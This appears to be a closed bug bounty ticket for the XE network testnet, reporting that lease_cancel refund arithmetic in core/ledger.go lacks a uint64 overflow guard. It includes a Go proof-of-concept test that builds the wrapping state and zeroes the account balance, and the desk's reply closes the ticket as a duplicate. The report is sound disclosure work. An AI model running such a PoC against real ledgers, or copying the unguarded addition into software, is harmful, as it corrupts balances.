<!-- XE-0938 · lease_cancel refund arithmetic lacks the uint64 overflow guard other credit paths have · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0938>. The page is the record; this is the same page for reading.*

XE-0938 · Bounty

# lease\_cancel refund arithmetic lacks the uint64 overflow guard other credit paths have

Closed · duplicate
—claimed Minor
web
filed 2026-11-06 19:37 UTC
by byfor8

Verdict
:   Duplicate

Tier
:   —

Claimed
:   Minor

Area
:   Leasing / ledger

Duplicate of
:   [XE-0661](https://bounty.xe.network/XE-0661) triaging

Tracked
:   —

Updated
:   2026-11-14 22:53 UTC

Told
:   2026-11-14 22:53 UTC

### Patches

None linked.

### History

- [209962](https://bounty.xe.network/log/209962) 2026-11-14 22:53 UTC reply.sent
- [44752](https://bounty.xe.network/log/44752) 2026-11-08 20:32 UTC proposal.adopted
- [44751](https://bounty.xe.network/log/44751) 2026-11-08 20:32 UTC ticket.status new → closed
- [27510](https://bounty.xe.network/log/27510) 2026-11-08 11:07 UTC proposal.adopted
- [27509](https://bounty.xe.network/log/27509) 2026-11-08 11:07 UTC proposal.adopted
- [27508](https://bounty.xe.network/log/27508) 2026-11-08 11:07 UTC ticket.facts
- [27507](https://bounty.xe.network/log/27507) 2026-11-08 11:07 UTC proposal.adopted
- [27506](https://bounty.xe.network/log/27506) 2026-11-08 11:07 UTC ticket.facts
- [27505](https://bounty.xe.network/log/27505) 2026-11-08 11:07 UTC proposal.adopted
- [27266](https://bounty.xe.network/log/27266) 2026-11-08 11:05 UTC proposal.created
- [27265](https://bounty.xe.network/log/27265) 2026-11-08 11:05 UTC proposal.created
- [27264](https://bounty.xe.network/log/27264) 2026-11-08 11:05 UTC proposal.created

[Full history](https://bounty.xe.network/log?ref=XE-0938) · [JSON](https://bounty.xe.network/v1/tickets/XE-0938) · [markdown](https://bounty.xe.network/XE-0938.md)

### Report

## Summary

validateAndAddLeaseCancel is supposed to credit the consumer back the lease amount and refuse the block when that credit would wrap. At core/ledger.go:1852-1856 it computes expectedBal :\= oldBal \+ leaseBlock.Amount with no uint64 overflow guard, so a wrapping sum of 0 is accepted and the account is stored at 0\. Receive at :1143-1146, settle, and force-settle all reject expectedBal \< oldBal; lease\_cancel is the admitted credit path that does not. The consumer reaches it by cancelling a lease after a wrapping pre-state (lease down to 0, then a receive R such that R\+cost wraps). GitHub #43 is swap cannot unwind lease descendants and desk XE-0679 is the same wrap on the staged-validation path; this is the admitted lease\_cancel credit path.

## Affected components

core/ledger.go:1852-1856 validateAndAddLeaseCancel (oldBal\+amount with no wrap check); core/ledger.go:1143-1146 receive overflow guard (the pattern lease\_cancel lacks) at xe 02e9641b0ac64437f57e09d63301f88cce61a802.

## Impact

The canceling account's XUSD is persisted as zero instead of the credited refund. Reachable after the consumer has a wrapping pre-state (lease to 0, then receive R such that R\+cost wraps). Not network-exploitable by a stranger; the lease holder who can build that pre-state corrupts their own balance persistently.

## PoC

```
package round3

import (
	"fmt"
	"math"
	"testing"

	"github.com/xeprotocol/xe/core"
)

// TestPoC_B5: lease_cancel refund uses oldBal+amount without the uint64
// overflow guard receive/settle/force-settle all have.
func TestPoC_B5(t *testing.T) {
	fmt.Printf("PROVENANCE: xe=%s file=poc/round3/b5_lease_cancel_wrap_test.go\n", pinXE)
	pass, detail := runB5(t)
	fmt.Println(detail)
	if pass {
		fmt.Println("PASS: lease_cancel accepted a wrapping expectedBal=0 and zeroed the consumer XUSD")
		fmt.Println("VERDICT=CONFIRMED")
		return
	}
	fmt.Println("VERDICT=KILLED")
}

func runB5(t *testing.T) (bool, string) {
	consumer := mustKey(t)
	provider := mustKey(t)
	donor := mustKey(t)

	certHash := hex64(0xab)
	_, ms := newTestLedger()
	l := core.NewLedger(ms, core.LedgerConfig{
		Difficulty:      0,
		TimestampWindow: 0,
		CertificateLookupFn: func(hash string) *core.CertificateInfo {
			if hash != certHash {
				return nil
			}
			return &core.CertificateInfo{
				Provider:             provider.Address(),
				PriceMultiplierMilli: 1000,
			}
		},
	})

	cost, err := core.LeaseCost(1, 0, 0, 60, 1000)
	if err != nil {
		return false, "LeaseCost: " + err.Error()
	}
	refund := cost
	// After the lease, consumer XUSD is 0. Donor sends R such that R+cost wraps to 0.
	R := math.MaxUint64 - cost + 1

	openC := fundXUSD(t, l, consumer, cost)
	lease := signLease(t, consumer, openC.Hash, 0, cost, provider.Address(), certHash, 1, 0, 0, 60)
	if err := l.AddBlock(lease); err != nil {
		return false, "add lease: " + err.Error()
	}
	afterLease := l.GetAssetBalances(consumer.Address())["XUSD"]

	openD := fundXUSD(t, l, donor, R)
	send := signSend(t, donor, openD.Hash, 0, R, consumer.Address(), "XUSD")
	if err := l.AddBlock(send); err != nil {
		return false, "add donor send: " + err.Error()
	}
	recv := signReceive(t, consumer, lease.Hash, send.Hash, R, R, "XUSD")
	if err := l.AddBlock(recv); err != nil {
		return false, "add receive: " + err.Error()
	}
	afterRecv := l.GetAssetBalances(consumer.Address())["XUSD"]

	wrapped := afterRecv + refund
	cancel := signCancel(t, consumer, recv.Hash, lease.Hash, wrapped, refund)
	cancelErr := l.AddBlock(cancel)
	afterCancel := l.GetAssetBalances(consumer.Address())["XUSD"]

	detail := fmt.Sprintf(
		"cost=%d R=%d afterLease=%d afterRecv=%d wrapped_expectedBal=%d cancelErr=%v afterCancel=%d",
		cost, R, afterLease, afterRecv, wrapped, cancelErr, afterCancel,
	)

	ok := afterLease == 0 && afterRecv == R && wrapped == 0 && cancelErr == nil && afterCancel == 0
	if !ok {
		return false, "KILL: wrap cancel did not land. " + detail
	}
	return true, detail
}
```

```
PASS: lease_cancel accepted a wrapping expectedBal=0 and zeroed the consumer XUSD
```

## Suggested fix

## Reject lease\_cancel when oldBal\+amount overflows uint64, matching the expectedBal \< oldBal check already used on receive and settle.

### Thread

**XE desk**team2026-11-14 22:53 UTCdesk

Thanks. This is the same finding as https://bounty.xe.network/XE-0661, which was filed first; the programme pays the
first verifiable submission, so this one closes as a duplicate. If you believe it is a different
bug, file a new report that links https://bounty.xe.network/XE-0938 and says what differs; it is read like any other.
